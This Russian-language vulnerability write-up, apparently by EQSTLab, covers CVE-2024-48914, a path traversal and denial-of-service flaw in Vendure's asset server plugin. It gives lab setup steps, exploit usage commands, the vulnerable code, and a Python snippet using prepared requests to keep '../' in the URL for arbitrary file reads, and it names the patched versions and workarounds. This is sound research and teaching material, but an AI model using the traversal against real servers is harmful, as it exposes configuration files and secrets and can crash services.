
Произвольное чтение файлов и DoS в эксплойте vendure-ecommerce
Этот пост является исследовательской статьёй, опубликованной EQSTLab.
Благодарность Rajesh Sharma, который обнаружил эту уязвимость.
★ CVE-2024-48914 Произвольное чтение файлов и DoS PoC ★
CVE-2024-48914 : Уязвимость произвольного чтения файлов и DoS в vendure-ecommerce
description: Vendure — это открытая headless-платформа для электронной коммерции. До версий 3.0.5 и 2.3.3 в плагине сервера ресурсов Vendure существовала уязвимость, позволяющая злоумышленнику сформировать запрос, способный обойти файловую систему сервера и получить содержимое произвольных файлов, включая конфиденциальные данные, такие как файлы конфигурации, переменные окружения и другие критически важные данные, хранящиеся на сервере. В том же пути кода имеется дополнительный вектор для аварийного завершения сервера с помощью некорректного URI. Исправления доступны в версиях 3.0.5 и 2.3.3. Также доступны некоторые обходные пути. Можно использовать объектное хранилище вместо локальной файловой системы, например MinIO или S3, или определить промежуточное ПО, которое обнаруживает и блокирует запросы с URL, содержащими /../.
Загрузите уязвимую версию (v3.0.4):
npm install
npm run build
docker-compose.yml
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
mariadb:
image: 'bitnami/mariadb:latest'
container_name: mariadb
environment:
MARIADB_DATABASE: vendure-dev
MARIADB_ROOT_USER: vendure
MARIADB_ROOT_PASSWORD: password
volumes:
- 'mariadb_data:/bitnami'
ports:
- '3306:3306'
mysql_8:
image: bitnami/mysql:8.0
container_name: mysql-8
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
mysql_5:
image: bitnami/mysql:5.7
container_name: mysql-5.7
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
postgres_12:
image: postgres:12.3
container_name: postgres_12
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_12_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
postgres_16:
image: postgres:16
container_name: postgres_16
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_16_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
# This is the Keycloak service which is used
# to test the Keycloak auth strategy
keycloak:
image: quay.io/keycloak/keycloak
ports:
- "9000:8080"
environment:
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: admin
command:
- start-dev
- --import-realm
volumes:
- keycloak_data:/opt/keycloak/data
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
container_name: elasticsearch
environment:
- discovery.type=single-node
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
ulimits:
memlock:
soft: -1
hard: -1
volumes:
- esdata:/usr/share/elasticsearch/data
ports:
- 9200:9200
redis:
image: bitnami/redis:7.4.1
hostname: redis
container_name: redis
environment:
- ALLOW_EMPTY_PASSWORD=yes
ports:
- "6379:6379"
volumes:
postgres_16_data:
driver: local
postgres_12_data:
driver: local
mariadb_data:
driver: local
mysql_data:
driver: local
keycloak_data:
driver: local
esdata:
driver: local
Команда для выполнения
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914
pip install -r requirements.txt
# Произвольное чтение файлов (режим 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Отказ в обслуживании (режим 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2
CVE-2024-48914.py (Произвольное чтение файлов)

CVE-2024-48914.py (DoS-атака)

vendure/packages/asset-server-plugin/src/plugin.ts
const decodedReqPath = decodeURIComponent(req.path);
if (imageParamsString !== '') {
const imageParamHash = this.md5(imageParamsString);
return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
} else {
return decodedReqPath;
}
Уязвимость возникает из-за использования decodedReqPath напрямую в path.join без выполнения нормализации пути, т.е. path.normalize в Node.js. Эта уязвимость позволяет злоумышленнику сформировать запрос, способный обойти файловую систему сервера и получить содержимое произвольных файлов, включая конфиденциальные данные, такие как файлы конфигурации, переменные окружения и другие критически важные данные, хранящиеся на сервере.
При использовании модуля Python requests "../" удаляется из пути URL. Если вы используете "prepared requests", как показано ниже, вы можете использовать модуль Python requests без удаления "../" из пути URL.
def readFile(self) -> None:
url = f"{self.url}/assets/../{self.file}"
s = requests.Session()
req = requests.Request(method='GET' ,url=url)
prep = req.prepare()
prep.url = url
response = s.send(prep, verify=False)
...
Этот репозиторий не предназначен для эксплуатации уязвимости CVE-2024-48914 (произвольное чтение файлов или DoS). Цель этого проекта — помочь людям изучить эту уязвимость и, возможно, протестировать свои собственные приложения.
https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4